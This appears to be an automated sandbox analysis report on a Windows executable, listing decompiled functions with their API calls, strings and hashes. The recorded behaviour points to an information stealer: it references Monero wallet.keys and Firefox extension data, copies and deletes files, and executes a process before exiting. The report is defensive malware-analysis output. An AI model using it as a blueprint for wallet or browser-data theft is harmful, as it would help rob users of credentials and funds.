Opcode Fuzzy Hash: 14af687de20bd07328ce15d2bc86e1d94cfbdc16a555d39ab619862b64b7ad24
Instruction Fuzzy Hash: F3115EB1A44309EBD710CF94ED4AFBBBBB8FB48B10F104259F646A7284D77958008BA1

Function 00E29260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(008FDAC0,?,?,?,00E2140C,?,008FDAC0,00000000), ref: 00E2926C
lstrcpyn.KERNEL32(0105AB88,008FDAC0,008FDAC0,?,00E2140C,?,008FDAC0), ref: 00E29290
lstrlen.KERNEL32(?,?,00E2140C,?,008FDAC0), ref: 00E292A7
wsprintfA.USER32 ref: 00E292C7

Strings

%s%s, xrefs: 00E292B5

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: dece9a35184b76651cea2bf5b7fa86d4d67649f2ebe1a42eb5a3c1a4571911f7
Instruction ID: 29081cc5f76eb2815dd4671545488572308324a151548a134fe6bcb178aac576
Opcode Fuzzy Hash: dece9a35184b76651cea2bf5b7fa86d4d67649f2ebe1a42eb5a3c1a4571911f7
Instruction Fuzzy Hash: B8010075600208FFDB04DFDCD948DAE7BB9FB44354F108648F94997205C6359A40DBD0

Function 00E112A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E112B4
RtlAllocateHeap.NTDLL(00000000), ref: 00E112BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00E112D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E112F5
RegCloseKey.ADVAPI32(?), ref: 00E112FF

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 88f3d69f95fd3b3e882dfa98b887bd7fe8847d7bca0aab314b813267287bcf45
Instruction ID: 3067f4afb376bca5bcfcb7ccf8591d280224c621f58a50eb7737ebe2b55438b8
Opcode Fuzzy Hash: 88f3d69f95fd3b3e882dfa98b887bd7fe8847d7bca0aab314b813267287bcf45
Instruction Fuzzy Hash: 39011DB9A40308FBDB10DFE0DC49FAFB7B8EB48701F008259FA4597284D6759A018B50

Function 00E2C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00E2C8EC
___crtLCMapStringA.LIBCMT ref: 00E2C90C
___crtLCMapStringA.LIBCMT ref: 00E2C931

Strings

, xrefs: 00E2C896

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 61a2712b711ef45ebf45ab52dcae20ae51d3401d1d89ded08e5447e58c80bd85
Instruction ID: 3d02b04973e65f549693172f537a47286c98a8f626cd3793b6df7f325c7fe8fa
Opcode Fuzzy Hash: 61a2712b711ef45ebf45ab52dcae20ae51d3401d1d89ded08e5447e58c80bd85
Instruction Fuzzy Hash: 1A41F6B11007AC5EDB258B24DC84FFF7BE89F45708F2454E8E98AA6182D2719A848F60

Function 00E26630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00E26663

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

ShellExecuteEx.SHELL32(0000003C), ref: 00E26726
ExitProcess.KERNEL32 ref: 00E26755

Strings

<, xrefs: 00E266D9

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: e0c5d29b389f5efe7160f1fb19a05a545a3e94de340450a33084a9b62031943b
Instruction ID: 79e6fec2e43b6c78c12bbafc0626bf21809a744bf83c11c14d18535cae570ec8
Opcode Fuzzy Hash: e0c5d29b389f5efe7160f1fb19a05a545a3e94de340450a33084a9b62031943b
Instruction Fuzzy Hash: FE311EB19012289BDB14EB50ED96FDE77B8AF48300F405199F20A77181DF756B88CF55

Function 00E287C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E30E28,00000000,?), ref: 00E2882F
RtlAllocateHeap.NTDLL(00000000), ref: 00E28836
wsprintfA.USER32 ref: 00E28850

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Strings

%dx%d, xrefs: 00E28847

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: aa8ce3cb848f0ff586177aaab192cb396b2e1451a8f9537d560853b57a61cd04
Instruction ID: 9a6d905635076df179164e4f083358b31c75ace1f6b01fffc5982fd027887bf7
Opcode Fuzzy Hash: aa8ce3cb848f0ff586177aaab192cb396b2e1451a8f9537d560853b57a61cd04
Instruction Fuzzy Hash: 6E21FEB1A44308EFDB14DF94DD49FAFBBB8FB48711F104219F605A7284C77A99018BA1

Function 00E28D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00E2951E,00000000), ref: 00E28D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00E28D62
wsprintfW.USER32 ref: 00E28D78

Strings

%hs, xrefs: 00E28D6F

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 87dccda7d42cbe575fafcc23d4cf18bdea6f8e992040c15f50b7ddd1b176cda8
Instruction ID: c966bbe6d5ad2d0d40bbf1074bb5480ae5382c9ff3b2ec2094e2c593e5e6698c
Opcode Fuzzy Hash: 87dccda7d42cbe575fafcc23d4cf18bdea6f8e992040c15f50b7ddd1b176cda8
Instruction Fuzzy Hash: B7E08670B40308FBC710DB94DC09E6A77B8EB04701F000154FD4997240D9765E008B51

Function 00E1A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E28B60: GetSystemTime.KERNEL32(00E30E1A,008FA028,00E305AE,?,?,00E113F9,?,0000001A,00E30E1A,00000000,?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E28B86

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E1A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00E1A3FF
lstrlen.KERNEL32(00000000), ref: 00E1A6BC

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

DeleteFileA.KERNEL32(00000000), ref: 00E1A743

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 59d92dbbfe058625a93bceb1d3e4839c0accc4f683f2000350883782bea91636
Instruction ID: c3f4bb63dec4e354ca34c779c17d3f451c24628d0c009fb2cea035cbdd591b46
Opcode Fuzzy Hash: 59d92dbbfe058625a93bceb1d3e4839c0accc4f683f2000350883782bea91636
Instruction Fuzzy Hash: 88E11F728101289BCB1CEBA4EC96EEE7378AF58300F549179F51772091EF746A49CB72

Function 00E1D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E28B60: GetSystemTime.KERNEL32(00E30E1A,008FA028,00E305AE,?,?,00E113F9,?,0000001A,00E30E1A,00000000,?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E28B86

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E1D481
lstrlen.KERNEL32(00000000), ref: 00E1D698
lstrlen.KERNEL32(00000000), ref: 00E1D6AC
DeleteFileA.KERNEL32(00000000), ref: 00E1D72B

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3b40095ac7eddefe100d25ee6157515b69f02b2bc761f91cd50c1f7a2883d4bd
Instruction ID: 08d1fdb92d740ea84c338eae2241331a031f7b22996b9dc358846f4ecf9936e4
Opcode Fuzzy Hash: 3b40095ac7eddefe100d25ee6157515b69f02b2bc761f91cd50c1f7a2883d4bd
Instruction Fuzzy Hash: 909120729101289BCB18FBA0EC96DEE73B8AF54300F545179F507B3091EF746A49CB62

Function 00E1D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E28B60: GetSystemTime.KERNEL32(00E30E1A,008FA028,00E305AE,?,?,00E113F9,?,0000001A,00E30E1A,00000000,?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E28B86

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E1D801
lstrlen.KERNEL32(00000000), ref: 00E1D99F
lstrlen.KERNEL32(00000000), ref: 00E1D9B3
DeleteFileA.KERNEL32(00000000), ref: 00E1DA32

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 28a415ed9c9cf74a2b4e2854c53b974cf64e605ce050ebb42ca9f1a3574076ea
Instruction ID: 2e0dccfdb33b1da52b8bf5667a814dd7f7478ac2bab25c1f888b86b0d56167ad
Opcode Fuzzy Hash: 28a415ed9c9cf74a2b4e2854c53b974cf64e605ce050ebb42ca9f1a3574076ea
Instruction Fuzzy Hash: 1A810E729101289BCB18FBA4EC96DEE73B8AF54300F445539F507B7091EF746A49CBA2

Function 00E1F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E199EC
Part of subcall function 00E199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E19A11
Part of subcall function 00E199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E19A31
Part of subcall function 00E199C0: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E19A5A
Part of subcall function 00E199C0: LocalFree.KERNEL32(00E1148F), ref: 00E19A90
Part of subcall function 00E199C0: CloseHandle.KERNEL32(000000FF), ref: 00E19A9A

Part of subcall function 00E28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28E52

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00E31580,00E30D92), ref: 00E1F54C
lstrlen.KERNEL32(00000000), ref: 00E1F56B

Strings

moz-extension+++, xrefs: 00E1F5AD
^userContextId=4294967295, xrefs: 00E1F59C

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
